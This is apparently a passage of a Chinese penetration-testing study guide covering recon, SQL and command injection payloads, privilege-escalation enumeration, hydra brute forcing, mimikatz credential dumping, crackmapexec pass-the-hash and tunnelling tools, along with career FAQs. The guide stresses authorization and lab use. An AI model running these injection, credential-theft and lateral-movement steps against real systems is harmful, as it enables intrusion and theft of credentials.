PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8 80/tcp open http Apache httpd 2.2.8 3306/tcp open mysql MySQL 5.0.51a 5432/tcp open postgresql PostgreSQL 8.3.0 5900/tcp open vnc VNC (protocol 3.3) 6667/tcp open irc UnrealIRCd
hyp: Web 登录框存在 SQL 注入 / hyp: SSH 允许弱口令 / hyp: 上传接口无类型校验--batch --level=1 --risk=1 起步,绝不 --drop/删除类参数。判读口径:报错回显(500/堆栈)≠ 漏洞;能证明"输入被拼进查询/命令/渲染"才是。页面差异、时间差、带外(DNS OOB)都是证据。遵守"判定三证据":行为差异 + 原始包 + 可复现。
' OR 1=1-- - 进入靶场登录、XSS 用 alert 到自己页面)。id / whoami / uname -a,禁止破坏类命令。exploit/。cat /etc/passwd 的第一行 head -1 就够证明。id; sudo -l; cat /etc/crontab; ls -la /opt /tmp; env(找可写执行、定时任务、凭据文件)。grep -r "password" /var/www --include="*.php"(自有靶场;记录位置即可)。/etc/hosts、arp -a、netstat -rn,再决定是否扫内网(水平移动需要授权书明确覆盖)。判读口径:提权路径 = "低权限可写文件/定时任务/SUID/服务配置"四大类优先;横向 = "同网段服务凭据复用"最省力。
report/。# 侦察 - 被动 whois example.com | head -20 dig example.com any +short curl -s "https://crt.sh/?q=%25.example.com&output=json" | python3 -c "import sys,json; [print(x['name_value']) for x in json.load(sys.stdin)]" | sort -u # 枚举 - 主动 nmap -sS -T4 -p- --min-rate 2000 example.com -oN recon/fullscan.txt nmap -sV -sC -p 22,80,443,3306 example.com -oN recon/services.txt ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://example.com/FUZZ -mc 200,301,302,403 -o enum/ffuf.json whatweb http://example.com # Web 手测 - 无害验证 curl -i "http://example.com/?id=1" curl -i "http://example.com/?id=1'" # 有无错误差异 curl -i -X OPTIONS http://example.com/api/ # 方法允许 curl -i -s http://example.com/search?q=%3Cscript%3E # 反射测试(观察HTML) # 提权枚举(已获权限后) id; sudo -l; find / -perm -4000 -type f 2>/dev/null ls -la /etc/cron* /var/spool/cron 2>/dev/null grep -rEi "pass(word)?\s*=" /var/www 2>/dev/null | head -20
每次运行先确认 HOST 是授权目标,并把输出 -oN 落盘——这是你的证据链。
按主题分组,展开即看答案。多数条目附带可立即执行的下一步。
--technique=BEUQST --level=1 --risk=1 --batch 保守参数,且只在授权/靶场执行。避免 --os-shell 这类危险操作。第二组 50 问:覆盖深入原理、实战决策、职业规划、心态与伦理。
针对“遇到具体场景怎么选/怎么做”的第三组问答,直接给可执行判断。
第四组问答,覆盖综合实战、逆向进阶、云与供应链、团队与成长。
最后一组 FAQ 覆盖四类高频问题:技术实战盲区(怎么找入口、怎么破僵局)、AI 与安全的交叉(用 AI 提速的正确姿势)、职业与心态(面试/报价/倦怠/道德纠结)、生活迁移(把黑客思维用到日常)。每问给"一句话结论 + 原理 + 手把手步骤/对照表 + 避坑"。
一句话:给每个入口打分(暴露度×已知脆弱性×权限提升概率×防御成本),从最高分开始测。
原理:攻击面不是"所有端口全部看一遍",而是"所有可能通往权限的路径"的排序问题。用打分卡把"感觉"变成可比较的数字。
打分卡(每项 0-3): 暴露度 :公网直接暴露=3;需认证=1;内网专属=0(要有内网入口才碰) 已知脆弱性:存在公开 CVE/该技术栈常年漏洞=3;较新但无公开利用=1 提权概率 :能碰到 system/root/数据库=3;仅低权限数据=1 防御成本 :WAF/认证/加固严密=-2(扣除);裸奔=0 总分 = 暴露度 + 脆弱性 + 提权 - 防御成本,先做总分前三
避坑:别被"端口多"吓住——大部分端口是噪声(见 21.4);别跳过"需要认证"的入口——很多后台默认口令/弱口令就是最快路径。
一句话:先"换维度"而不是"加力气"——换视角、换工具、换入口、换假设,最后才换目标。
五步脱困法:
① 换视角 :把自己从"攻击者"换成"开发者"——如果是你写的这个系统,
你会用什么参数?会把密码存哪?会相信什么?
② 换工具 :同一个枚举,换一个工具/一个参数(ffuf→gobuster;nmap→masscan)
③ 换入口 :主站卡死?试试静态资源、后台、API、移动端、旧版本子域
④ 换假设 :你 2 小时没进展,多半是"早期假设"错了——回 21.5 重列假设
⑤ 换目标 :僵局超过 2 小时且无新线索 → 标记 TODO,换一个入口,回头再来避坑:不换维度死磕是最贵的状态;写日志时把"卡点+尝试过什么"记录下来,第二天回来 5 分钟就能续上。
一句话:单点目标就别打资产广度,打"接口和逻辑深度"——目录、参数、方法、上传、认证逐层过。
穷举清单(按顺序): ① 目录枚举大字典(ffuf 配 seclists/Discovery/Web-Content/raft 系列) ② 找 JS 文件→读里面 API 端点/参数(静态站也常带管理 JS) ③ 常见路径手测:/admin /api /swagger /config.php /robots.txt /sitemap.xml ④ 参数反射与注入:在每个可控参数试 1'、1)、1"(观察差异) ⑤ 认证口弱口令(仅授权):admin/admin、root/toor、test/test ⑥ 方法绕过:PUT/OPTIONS/CONNECT 是否允许(200 表示可能可写) ⑦ 云对象存储/后台探测:同 IP 反查、C 段资产(须授权范围内)
避坑:静态站 ≠ 没漏洞——后端 API、对象存储、后台入口常被"静态化"掩盖,JS 是金矿。
一句话:看四件事——影响面(多少人/多少数据)、控制力(能到哪层权限)、稳定性(能不能复现)、被修成本(厂商会不会理你)。
| 信号 | 加分(深入) | 减分(止损) |
|---|---|---|
| 影响面 | 会影响多数用户/全量数据 | 只影响 1 个测试账号 |
| 控制力 | 能读写任意用户数据 / RCE | 只读自己的数据 / 反射型自测 |
| 稳定性 | 100% 复现、无副作用 | 偶发、依赖特定环境 |
| 厂商响应 | 赏金平台收录、修复意愿高 | 无赏金、无响应渠道 |
避坑:"能打进去" ≠ "有报告价值"——报告价值 = 影响 × 可复现 × 可行动。见 18 章报告模板。
一句话:工具结论要回到"三证据"复核:行为差异、原始请求/响应、可复现——缺一个都先当误报。
复核三步:
① 看原始响应:sqlmap 判"布尔/报错/时间"注入的依据是不是可疑(把 -v 3 输出里的
payload 和响应摘出来看)
② 手动复测最轻的 payload:如 id=1' 在响应里是否有 SQL 报错/差异
③ 用无害探针确认"数据确实被拼进查询"(时间盲注勿在真实环境;仅靶场)
若三者都成立 → 真注入;否则标"待验证"
避坑:sqlmap 的"时间盲注"很多是网络抖动误报(timeout 阈值内触发);务必用 --flush-session 重跑一次交叉验证(靶场)。
一句话:AI 是"提速器"不是"决策者"——让它写脚本、翻译日志、列清单,别让它判断"该不该测""这是不是漏洞"。
| 适合交给 AI | 必须自己判断 |
|---|---|
| 把日志聚类成假设清单 | 攻击面排序(打分卡见 Q178) |
| 写 Nmap/ffuf 命令骨架 | 目标是否授权、范围外碰不碰 |
| 翻译伪代码/反汇编逻辑 | 漏洞真伪的三证据复核(Q182) |
| 生成报告初稿(数据你给) | 修复建议是否在当前架构可行 |
纪律① 不给 AI 真实凭据/敏感数据;纪律② 每次 AI 输出先在小样本上验证再批量用;纪律③ 涉及授权判断/法律边界的问题,不依赖 AI 回答。
避坑:别把 AI 当"漏洞扫描器"用——它对具体站点的判断可复现性差,容易给你"看起来专业但实际跑不通"的命令。
一句话:先区分"全网无差别扫描"(常态噪音)和"针对性行为"(危险信号),再用情报工具判断来源。
判断三步: ① 看日志模式:持续 24h 同一 IP 段扫多个端口=无差别;只打你一个 IP、 只测固定几个路径并在深夜=针对性 ② 查来源情报:Shodan/Fofa/微步/AbuseIPDB 看该 IP 是否已知扫描器/肉鸡 (国内外:微步在线、奇安信威胁情报、IBM X-Force) ③ 防御基线:关掉公网不必要端口(远程桌面/数据库别裸奔)、改默认端口、 上 fail2ban(ssh)——把"被扫的疼痛"降到常态噪音级别
避坑:别被扫描日志吓到去装一堆东西——先确认它是不是自动化噪音(全网都在被扫);也别在公网暴露管理端口(见 21.4 判读口径)。
一句话:防守训练靠"日志考古 + 复现攻击 + 写检测规则"三件事,不需要真实被打。
三板斧: ① 日志考古:找个自己网站的 Nginx 访问日志,自己模拟攻击(SQLi/XSS payload 打自己),再查日志里长什么样——建立"攻击指纹感" ② 复现攻击:在靶场里跑一遍常见攻击(见 19/21 章),同时开审计日志, 对比"攻击时"和"正常时"的日志差异 ③ 写检测规则:把差异固化成 YARA/Sigma/正则规则,扔进自己搭的 SIEM(Wazuh 开源免费)里,再演练告警关闭流程
避坑:防守训练的核心不是"背事件 ID",是"建立攻击特征手感"——反复做日志对比,比背一百条规则有用。
一句话:技术上讲 AI 能生成这类代码;但"能否用于真环境"取决于授权,且生成/持有恶意代码本身在很多法域有独立违法风险——这条边界不能靠 ChatGPT 判断,要靠你自己的授权书。
分场景:
避坑:把 AI 对话记录当"免责证明"是误解——法律判断先看是否非法侵入(刑法 285/286 条,见 10 章 FAQ),不看提示词谁写的。
一句话:用四段式:场景→原理→利用→修复,每一段都有具体案例,最后落到"我对这类问题有快速定位能力"。
四段式模板(以 SQLi 为例): 场景 : 上次在靶场 DVWA 做完整渗透,目标是拿一个登录框的权限 原理 : 用户输入被直接拼进 SQL 查询 → 我用 ' OR 1=1-- - 验证逻辑绕过 利用 : 进一步用 union select 枚举列数、爆出用户名列表(靶场数据) 修复 : 参数化查询 + 最小权限账号 + 报错信息不暴露(OWASP A03) 收束 : 因此我对"输入是否被拼进查询"的判定特别敏感,能快速定位这类点
避坑:别说"我全会"(没有重点);别说只背了工具命令说不清原理(面试官必深挖)。项目细节要真实——面试官会追问你答不出来的细节。
一句话:报价 = 范围(资产数/复杂度)× 深度(漏洞级别上限)× 周期(是否紧急)× 附加(报告/复测/应急支持)。
定价思路(示例,地区差异大): 基础项:按资产/域名数 × 单价(例如每个 Web 应用 X 千元) 复杂度:F/W 站(前后端分离、复杂逻辑)加价;纯静态站打折 深度项:写报告+复测=基础价;要求"拿到 root/域管"级验证=溢价 周期项:紧急 48h 内出报告=普通价 × 1.5~2 附加项:应急响应支持、后续季度巡检另议 报价单必写:范围清单、测试方法、交付物(报告/附件)、免责条款/授权条款
避坑:报价前先拿到对方资产清单(别报"全测"价最后只测 3 个域名);合同里写清楚"未授权范围外资产不碰"的边界条款。
一句话:倦怠和道德纠结的本质都是"意义感断层"——对自己做的事没有清晰的"为谁、为何、边界在哪",就会疲劳;找回意义感靠复盘 + 分组 + 划定"我可以"/"我不做"。
处理框架: ① 复盘:每月写一次"我守住了什么 / 修好了什么 / 别人因为我的报告少踩了什么坑" ② 分组:把"这单的成败"与"我的技术成长"分开——报告被否定不等于你不行 ③ 划界:白纸写两列——"我接的单/我做的事 / 我不碰的(无授权、伤害人)", 贴在工位;纠结时拿出来看 ④ 求助:安全圈很卷,但同行的"我也遇到同样的事"往往比鸡汤有用 ⑤ 体力:长时间盯屏/对抗易耗心力——固定运动/睡眠是基本功,不是可选项
避坑:别"硬扛"——倦怠是行业普遍现象(见 Q48 SOC 告警疲劳),及时调整节奏优于硬撑到出事。
一句话:黑客思维的迁移 = 把"找漏洞→修漏洞"换成"找瓶颈→解瓶颈":观察→假设→小步验证→复盘,应用到日程、副业、学任何技能。
落地清单(选一两条先做): ① 日程黑洞:连续记录 3 天时间去向(观察)→ 假设"哪块是黑洞"(如短视频) → 设 25 分钟计时器最小验证 → 复盘是否真的省出时间 ② 副业假设:想验证"做 X 能不能变现"→ 先做 1 个最小样品(MVP)发出去 → 看反馈 → 再决定投入(这就是 IMEVA 引擎的生活版) ③ 学习卡点:学不进去时问自己"我现在最缺哪个概念?"→ 先补那个概念 → 比按顺序啃课本快 3 倍(这就是漏洞思维的"枚举卡点") ④ 关系问题:把"沟通问题"当"接口问题"——对方要什么输出、什么输入 会触发冲突,观察两次再调参数(观察→假设→验证)
避坑:别把生活黑客做成"强制自己按攻防表生活"——生活的目标是舒服和成长,模型只是工具不是纪律。
一句话:读代码恐惧 = 把"看懂全部"当目标;改成"先找入口→只读关键函数→跑起来验输出",三阶梯就破恐惧。
三阶梯(各 1 周):
第一阶梯:读小工具源码(如自己写的脚本)——目标是"知道它每一步干嘛"
第二阶梯:读开源 Python 工具的 1 个函数(如 requests 的 get)——
目标"能解释入口参数 + 返回啥"
第三阶梯:用反汇编看一个 20 行 C 程序(gdb/radare2)——目标"找到 main 里
的比较点"(见 16 章逆向全流程)
每次只问三个问题:入口参数是什么?关键判断在哪?输出怎么来的?
避坑:别一上来就看大项目/反混淆代码——那只会加重恐惧;最小闭环(读→懂→下一步)才是学习。
一句话:国内有完整的合法练手链条:本地靶场 → 国内 CTF/在线平台 → SRC 众测平台,全程不需要碰真实第三方系统。
合法链路(按顺序): ① 本地:DVWA + sqli-labs + Metasploitable2(见 Q2/Q27),100% 合法 ② 国内 CTF:BUUCTF / NSSCTF / 春秋云境(赛事题库) ③ 国内在线靶场:墨者学院 / 实验吧(网页靶场,无需装环境) ④ SRC 众测:补天 / 漏洞盒子 / 各厂 SRC(腾讯、阿里、字节等公开 SRC) ——只测 Scope 内资产,见 Q31/18 章 ⑤ 认证路线(可选):CISP-PTE(国内认可度较高)/ NISP
避坑:别用"国内没资源"当不练的借口——上面每一条都是免费的;SRC 众测是"真实+合法"的最好结合点。
一句话:攻防演练是国家/企业组织的"真实对抗演习":红队模拟攻击、蓝队防守,持续数天到数周——参加靠企业/机构报名,不是个人自由进场,但你可以用靶场先准备。
HVV 入门准备: ① 技术:Web 渗透(见 21 章)+ 内网渗透(见 5 章)+ 应急响应(见 23 章)三件套 ② 环境:本地搭 AD 域/内网靶场(如 GOAD / DetectionLab)练横向 ③ 简历:先在小规模攻防演练/CTF/红队模拟里练手,积累可写进简历的战绩 ④ 渠道:企业安全团队/安全厂商(绿盟、奇安信、深信服等)每年招 HVV 技术 人员,官网/HR 投递;或参加"HVV 众测"形式
避坑:别相信"有偿代办入 HVV"(多数是骗);HVV 的边界非常清晰,只测授权目标,超出即违法——这一点和所有渗透一样。
一句话:第一条赏金的路线是"小目标 + 低门槛漏洞 + 高复现率"三要素:选一个中型资产密集的 SRC、先挖低危(信息泄露/配置错误/反射 XSS)证明自己能交付,再逐步升高危。
行动路线(30 天版):
第1周:选 1 个 SRC(如某厂商公开漏洞平台),读 scope 和规则,列 50 个子域
第2周:对每个子域跑被动资产发现(crt.sh/subfinder),找"低门槛高声明"点:
未授权访问对象存储、敏感接口未鉴权、公开的 Swagger/api-docs、测试环境
第3周:逐一记录证据(请求/响应/截图),按 18 章报告模板写清"影响+复现"
第4周:提交 3-5 份(宁缺毋滥),把非重复的提交经验迭代到下一轮
避坑:别一上来就盯着 RCE/SQLi 高难度(重复率高、周期长);"低危高复现"能帮你建立第一个正向循环——被采纳本身就是学习。
一句话:不需要"英语好",只需要"技术英语够用"——掌握 200 个高频技术词 + 翻译工具 + 上下文推理,就能读 90% 的国外文档。
破局三步: ① 先学 200 个技术高频词(parameter/payload/vulnerability/exploit/privilege/ escalat[ion]/configuration/authentication... 工具 --help 里反复出现的词) ② 工具文档用 翻译插件+原句对照:先看英文原句,再对比翻译——英文术语 与技术概念一一对应,看多了会"自动翻译" ③ 上下文推理:命令示例、报错信息、配置片段本身是"半语言",配合工具 试跑,秒懂 (备选)遇大段论文/白皮书:先用摘要翻译抓结论,再精读关键段落
避坑:别追求"读完"——技术文档是查询型阅读(用到哪读到哪),工具 --help 能解决的别去翻全文。
一句话:证据链 = 原始请求 + 原始响应 + 时间戳截图 + 复现命令,缺一不可;准备"防质疑四件套"后,报告说服力翻倍。
四件套: ① 原始请求:Burp/curl 保存的完整请求(含 Cookie/参数)——不是"我输入了啥" 而是"我实际发了啥" ② 原始响应:对应响应全文(报错/关键字段),标注影响位置 ③ 时间戳截图:带时间的截图(或终端历史),证明"确实运行了" ④ 复现命令:可直接复制运行的最小复现(如 curl -X POST ...) ——附上四件套,几乎没人能质疑"这漏洞是不是你编的"
避坑:别只贴"工具弹窗"——工具结论要回到原始包(见 Q182);截图别裁掉时间栏。
一句话:模型是"决策框架"不是"肌肉记忆"——知识不转化,是因为你没有把它绑到一个具体可重复的动作上。
转化三步: ① 给每个模型定一个"触发动作":如"IMEVA=拿到目标先写 3 个假设再动手" ② 每个动作做 10 次重复:在同一个靶场重复跑同样流程,直到不用想就按 "记录→假设→验证"做 ③ 做一次"盲测":不看笔记,独立打一台新靶机,看哪个模型实际被你用了 ——转化 = 框架 × 重复 × 反馈,缺一个都只是"知道"
避坑:别同时学 10 个模型——先选 2 个(如 IMEVA + 打分卡),练到变成本能再换;这也是 1 章"思维体操"的用意。
一句话:用"兴趣×市场×可练习性"三角做决策:你愿意持续练习吗?市场有需求吗?有反馈通道能成长吗?三样都高才值得全投。
决策框架: ① 兴趣:过去 6 个月,有没有自愿花在安全学习/打靶上的时间(>20h/月)? ② 市场:你所在城市/远程市场是否有安全岗(Web 渗透/蓝队/审计)? ③ 可练习性:本地靶场/CTF/SRC 够不够你练?(肯定够,关键是愿不愿意) ——三条都是"是"→ 值得;有两条否 → 先当副业练半年再决定 (参考:安全行业有入门门槛,但缺口持续存在——红利在'肯练+能写报告')
避坑:别被"安全高薪"骗到直接裸辞——先用副业验证 3 个月(见 Q190 生活黑客),再决定全职。
一句话:把书合上之前,记住这三句话:① 一切系统皆可拆,一切信任皆可验证;② 记录先行,最小证明,优先级思维;③ 好奇心驱动探索,正直心决定方向。
一句话:推荐时别让人"读完整本书",而是让人"先做一件事"——用最小行动把这本书的价值传出去。
推荐话术(可直接用): "如果你对黑客思维好奇,别先读全书——先做三件事: ① 看完第 1 章'世界观'(10 分钟),做一次咖啡店观察练习; ② 看完第 2 章'认知基础'的观察力小节,对你自己手机 App 做一次逆向思考; ③ 想真正上手,看 19 章'家庭靶场',装 DVWA 打第一关。 做完这三件事你自然知道要不要读下去——这本书讲的是'怎么想',不是'背什么'。"
避坑:别让人"从第 1 页读到第 200 页"(放弃率极高);先给"最小行动"再给"全书地图"(见导读三种读书路径)。
这一章是全书"本质篇"的深潜版:把黑客攻击及其一切衍生物压缩成少数几条底层规律,再用"本质一句话 → 模型图 → 场景识别 → 全链路步骤 → 实操命令 → 避坑清单 → 一句话收束"的固定节奏,逐条讲到能直接上手。大道至简:越是本质的东西越简单——你不是在背 300 个黑话,而是在掌握 30 个本质,然后由本质自动推导出所有黑话。
本质一句话:所有攻击的起点都是"我知道你不知道"——攻击者赢在信息差,防御者输在不知道自己暴露了什么。漏洞、口令、拓扑、时机、人性弱点……全部是"信息差"的具体形态。黑客不是会魔法,是"知道得更多"。
识别场景(信息差的四种形态):
| 形态 | 识别特征 | 实例 | 立刻可用动作 |
|---|---|---|---|
| 漏洞差 | 版本旧、补丁滞后、CVE 列表里能对上 | Log4Shell 公开后仍未升级 Log4j | nuclei -t cves/ 批量对版本 |
| 口令差 | 默认口令、弱口令、凭据复用 | admin/admin、员工密码与个人站相同 | hydra 低烈度验证+口令策略 |
| 拓扑差 | 影子资产、测试环境、内网直通外网 | dev.xxx.com 无鉴权暴露 | 子域名枚举+端口全扫 |
| 时机差 | 低防守时段、节假日、交接期 | 凌晨 3 点无人盯日志 | 24h 告警+自动化兜底 |
subfinder -d 目标.com -all > subs.txt; cat subs.txt | httpx -title -status-code(自有资产或授权目标)。资产|暴露面|已知漏洞|口令风险|优先级 五列表。攻击者视角拿这张表当攻击计划,防御者视角拿这张表当整改清单。一句话收束:攻击从"我知道你不知道"开始,防御从"让我知道自己不知道什么"开始——信息差清单就是攻防双方的同一张作战地图。
本质一句话:漏洞 = 系统信任了不该信任的输入,信任边界一旦被跨越,输入就变成了执行。SQL 注入信任了参数,XSS 信任了内容,反序列化信任了数据,命令注入信任了字符串——全部是"信任的越界"。
识别场景(四大信任陷阱):
| 陷阱 | 识别特征 | 代表漏洞 | 修复思维 |
|---|---|---|---|
| 信任输入 | 输入直接拼进 SQL/命令/HTML | SQLi / 命令注入 / XSS | 参数化+转义+白名单 |
| 信任数据 | 解析外部格式、反序列化、XXE | 反序列化 RCE / XXE | 禁危险解析+白名单类 |
| 信任身份 | 只认凭证不认上下文 | IDOR / 越权 / CSRF | 权限校验+上下文绑定 |
| 信任配置 | 默认口令/调试开关/宽松权限 | 默认口令 / 管理端暴露 | 安全基线+默认安全 |
' > " <script> ; | %00 ../。观察报错、延时、响应差异(详见 26.4 判定表)。eval、exec、system、include、unserialize、innerHTML),反向看输入是否可控。一句话收束:漏洞的本质是"信任的边界被跨越"——攻击者在每个边界上试"能不能混过去",防御者在每个边界上问"它凭什么被信任"。
本质一句话:一切攻击都是三种"差"的组合——信息差(我知道你不知道)、信任差(你信了不该信的)、资源差(我拥有的比你以为的多)。把每个攻击手法拆开,都能找到它主要靠哪种差。这个模型是"一眼看穿攻击"的元工具。
识别场景:拿到一个攻击手法,先归位:
| 攻击手法 | 主要靠什么差 | 次要差 | 防御对应 |
|---|---|---|---|
| SQL 注入 | 信任差 | 信息差(找参数位) | 参数化查询 |
| 钓鱼/鱼叉 | 信任差+信息差 | 资源差 | 邮件网关+演练 |
| 暴力破解 | 资源差 | 信息差(用户名) | 限速+锁定+MFA |
| 0day 供应链 | 资源差 | 信息差 | 最小信任+供应链审计 |
| 内鬼/社工 | 信任差 | 信息差 | 最小权限+行为审计 |
一句话收束:把任何攻击塞进"信息差 × 信任差 × 资源差"三个格子,它的七寸就暴露了——防御 = 消灭信息差、收紧信任差、压缩资源差。
本质一句话:所有攻击都从"入口"进来——入口 = 任何能让外部输入触达内部逻辑的地方。数清楚六类入口,攻击面就摊在你面前。入口不是漏洞,漏洞是入口没守好;但攻击者永远先找入口,再找漏洞。
识别场景 + 第一动作表:
| 入口 | 怎么识别它存在 | 攻击者第一动作 | 防御第一动作 |
|---|---|---|---|
| 网络入口 | 端口扫描出 22/80/443/3306/3389/8080 | 对服务做版本→漏洞匹配 | 关闭无用端口+防火墙白名单 |
| Web 入口 | 发现登录页/API 文档/文件上传/搜索框 | 枚举参数→试注入/越权 | WAF+参数化+鉴权全覆盖 |
| 用户入口 | 有员工邮箱/内部系统/办公软件 | 发钓鱼邮件/挂水坑 | 邮件网关+演练+MFA |
| 供应链入口 | 用了第三方库/云服务/外包 | 投毒依赖/劫持更新源 | 锁版本+SBOM+软件签名 |
| 物理入口 | 可接触的电脑/USB口/门禁 | BadUSB/撬锁/摆渡 | 锁屏+USB管控+监控 |
| 信任入口 | 外包/离职员工/合作伙伴有权限 | 收买/冒充/复用其权限 | 最小权限+定期审计+离职回收 |
nmap -sV -p- 目标IP,把每个开放端口写成"服务+版本+是否必需"。一句话收束:攻击者只问"哪个口子最好进",防御者要答"每个口子都有人守、有账可查"——六口体检表就是攻击面的坐标轴。
本质一句话:攻击难度的分布不是均匀的,而是一座金字塔——塔底是弱口令、未授权、已知漏洞,塔尖是 0day;绝大多数攻击根本不爬塔尖,在塔底就完成了。理解金字塔,你就不会被"0day 神话"带偏,也不会在防御时把资源全砸在塔尖。
识别场景(塔底优先原则):
| 层级 | 典型问题 | 识别信号 | 投入产出比 |
|---|---|---|---|
| 塔底 | 弱口令、默认口令、凭据复用 | admin/admin、密码在泄露库中 | 极高(几分钟见效) |
| 塔底2 | 未授权接口、配置错误 | 接口无鉴权、目录列表、调试开启 | 极高 |
| 塔中 | 已知漏洞未修补 | 版本旧、nuclei 命中模板 | 高 |
| 塔尖 | 0day、复杂利用链 | 无补丁、无公开 PoC | 极低(国家级/高价收购) |
一句话收束:最便宜的漏洞最常用,最贵的漏洞最没用(对绝大多数攻击者而言)——先夯实塔底,是攻防双方共同的理性。
本质一句话:渗透只有五个动作——找到入口、进去、变大、蔓延、收场。任何复杂攻击都是这五步的变奏。对应黑话:侦察(找到入口)→ 利用(进去)→ 提权(变大)→ 横向(蔓延)→ 收尾(收场)。把每一步的命令和判断标准讲透,你就有了"全链路作战手册"。
subfinder -d 目标.com(子域)、theHarvester -d 目标.com -b all(邮箱)、Shodan/FOFA 查历史暴露、GitHub 搜泄露代码。产出:资产+人员+技术栈清单。nmap -sV -sC -p- 目标(端口服务)、httpx -title -status-code(Web 存活)、whatweb(指纹)。产出:开放端口+服务版本表。ffuf -w wordlist -u http://目标/FUZZ(目录)、nmap --script http-enum、API 参数枚举、共享资源枚举。产出:可利用点清单。sudo -l; find / -perm -4000 2>/dev/null; uname -a;Windows 查 whoami /priv; systeminfo。产出:管理员/root。mimikatz/lsass 转储)→ 内网扫描 → crackmapexec smb 网段 -u user -H hash --local-auth 批量验证。产出:更多主机。一句话收束:渗透 = "找到入口→进去→变大→蔓延→收场"的循环,每步都是"我现在有什么,能去哪里"——把九步练熟,任何靶场都只是换了个皮肤。
本质一句话:认证回答"你是谁",授权回答"你能干什么"——攻击者永远在三个问题上做文章:绕过去(认证绕过)、猜出来(爆破)、偷过来(凭证窃取)。把认证想成三道门:门卫认脸(认证)、门卡分区(授权)、门锁强度(密码强度)。
识别场景(认证三大攻击面):
| 攻击 | 识别特征 | 验证命令/动作 | 防御 |
|---|---|---|---|
| 认证绕过 | 直接改 URL/参数/Cookie 能跳过登录 | 不带凭证访问敏感接口、改 user_id | 服务端鉴权全覆盖 |
| 暴力破解 | 无锁定、无限速、默认口令 | hydra -l admin -P dict ssh://目标 | 限速+锁定+MFA |
| 凭证窃取 | 弱口令/泄露库命中/钓鱼 | hashcat -m 1000 hash.txt dict | 强口令+不重用+MFA |
| 越权(IDOR) | 接口用可预测 ID,无对象级鉴权 | 换 ID 重放请求 | 对象级权限校验 |
一句话收束:认证的本质是三道门——门卫认人(认证)、门卡分区(授权)、门锁要牢(凭证),攻击者专挑三道门接缝处下手。
本质一句话:注入类漏洞(SQL/命令/模板/代码)全是同一件事——"数据被当成了命令执行"。程序分不清"这是数据"还是"这是指令",攻击者就故意把指令伪装成数据送进去。SQL 注入:参数被拼进 SQL 变命令;命令注入:字符串被拼进 shell 变命令;模板注入:输入被拼进模板引擎变代码;反序列化:数据流被还原成对象变代码。
识别场景(四类注入的判定表):
| 类型 | 试什么 | 看到什么算命中 | 立刻修复 |
|---|---|---|---|
| SQLi | 参数加 ' 或 " | SQL 报错/行为变化 | 参数化查询 |
| 命令注入 | 参数加 ;id 或 |id 或 `id` | 响应里出现 uid=… | 白名单+禁止拼接 |
| 模板注入 SSTI | 参数加 {{7*7}} | 响应出现 49 | 沙箱+白名单 |
| 反序列化 | 观察是否传序列化串 | 改串触发报错/延迟 | 签名+类型白名单 |
?id=1' 看是否报错;?id=1 and 1=1 与 ?id=1 and 1=2 对比,页面差异=注入存在。?id=1 order by 10-- - 逐级减,直到不报错。?id=-1 union select 1,2,3-- -,看哪个数字显示在页面。database()、user()、version()。union select table_name from information_schema.tables-- -(MySQL)。union select column_name from information_schema.columns where table_name='xxx'-- -,再拖数据。-- -、Oracle --、MSSQL --)。一句话收束:注入的本质是"数据与命令的边界模糊"——攻击者送"看起来像数据、实际是指令"的东西,防御者要用参数化/白名单把边界焊死。
本质一句话:提权 = 从"我能碰"到"我能管"——攻击者利用权限校验的漏洞、配置的疏漏或系统组件的漏洞,沿着权限阶梯往上爬。提权漏洞大多是"信任了不该信任的低权输入/低权进程"。Windows 有 UAC/服务/令牌问题,Linux 有 SUID/sudo/内核问题,容器有挂载逃逸,云有角色链——但本质都一样:高权上下文信任了低权来源。
识别场景(提权检查清单):
| 平台 | 查什么 | 命令 |
|---|---|---|
| Linux | sudo 可执行项 | sudo -l |
| Linux | SUID 程序 | find / -perm -4000 2>/dev/null |
| Linux | 内核版本 | uname -a |
| Linux | 可写计划任务/服务 | ls -la /etc/cron*; systemctl list-timers |
| Windows | 当前令牌特权 | whoami /priv |
| Windows | 服务权限 | sc qc 服务名; accesschk.exe -uwcqv * |
| Windows | 未修补补丁 | systeminfo |
| Windows | 可写启动项/注册表 | reg query HKLM\...\Run |
id; whoami; sudo -l——先看自己是谁、能 sudo 什么。uname -a; cat /etc/os-release; cat /etc/passwd | grep -v nologin——版本决定可匹配的内核 exp。find / -perm -4000 2>/dev/null——查 GTFOBins(gtfobins.github.io)看能否利用。find / -writable 2>/dev/null | grep -v proc; ls -la /etc/cron*——找可写的高权脚本/任务。grep -ri "password" /home /etc 2>/dev/null; history; find / -name "*.key" -o -name "*config*" 2>/dev/null。一句话收束:提权的本质是"权限阶梯 + 漏洞套娃"——防御者每少给一点权限,攻击者就多爬一级台阶的成本;最小权限不是口号,是提权链条的第一道闸。
本质一句话:内网里"谁信任谁"决定了一切——横向移动 = 沿着信任关系从一台机器跳到下一台。域内为什么难防?因为域设计出来就是为了"相互信任"。拿到一台机器只是开始,真正的宝藏在内网深处;而连接你和宝藏的,是一条条信任链。
识别场景(横向三燃料):
| 燃料 | 识别特征 | 验证工具 | 防御 |
|---|---|---|---|
| 口令复用 | 多台机器同一个本地管理员密码 | crackmapexec smb 网段 -u admin -H hash --local-auth | LAPS 差异化本地口令 |
| 会话令牌 | 高权进程内存里躺着令牌/票据 | mimikatz sekurlsa::tickets | 凭据保护+LSASS 防护 |
| 服务账号 | 服务以域账号跑且密码可读 | secretsdump / 注册表服务密码 | 组托管服务账号 gMSA |
ipconfig /all 看网段;ARP 表看邻居;DNS 看主机名。grep -r password / 2>/dev/null;Windows mimikatz sekurlsa::logonpasswords。crackmapexec smb 网段 批量探测存活+共享+版本。psexec/wmiexec(拿到凭据后远程执行),或隧道(26.11)。一句话收束:横向移动 = 沿"信任的半径"跳跃——防御者要做的不是没有信任,而是让信任半径小到"失守一台≠失守全网"。
本质一句话:出网流量被防火墙过滤时,攻击者就把命令和数据伪装成"看起来合法"的流量送出去——这就是隧道。DNS 隧道把数据藏进 DNS 查询;HTTP 隧道把数据藏进正常请求;ICMP 隧道把数据藏进 ping。防御者看"协议合法",攻击者玩"协议里藏东西"。
识别场景(隧道三兄弟):
| 隧道 | 藏在哪里 | 特征 | 工具 |
|---|---|---|---|
| DNS 隧道 | DNS 查询名里 | 域名超长、查询频次异常、TXT 记录内容异常 | iodine / dns2tcp |
| HTTP 隧道 | HTTP 请求体/头 | 请求间隔规律、UA 异常、无浏览器行为 | chisel / 自写 |
